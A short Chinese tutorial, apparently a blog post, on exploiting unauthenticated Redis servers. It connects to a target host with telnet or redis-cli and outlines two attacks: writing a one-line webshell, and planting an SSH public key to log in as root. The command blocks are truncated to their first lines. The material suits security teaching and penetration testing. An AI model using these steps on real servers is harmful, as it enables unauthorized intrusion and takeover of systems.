redis是一种以key-value为键值对的非关系型数据库
redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Map), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。
漏洞利用
本机通过telnet命令主动去连接目标机
telnet 192.168.1.13 6379
或者通过 redis-cli.exe -h 192.168.1.13
连接
连接成功后,输入info获取相关信息可以看到redis版本号等
利用方式
写入一句话webshell
1 | //设置x的值 |
成功写入目标机
写入ssh公钥
- 在本地生成一对密钥
1 | root@ip-172-31-14-115:~/.ssh# ssh-keygen -t rsa |
接着将ssh公钥写入靶机
1 | root@ip-172-31-14-115:/etc/redis# redis-cli -h 192.168.1.13 |
再到本地去连接ssh
1 | root@ip-:~/.ssh# ssh -i id_rsa root@192.168.1.13 |
即可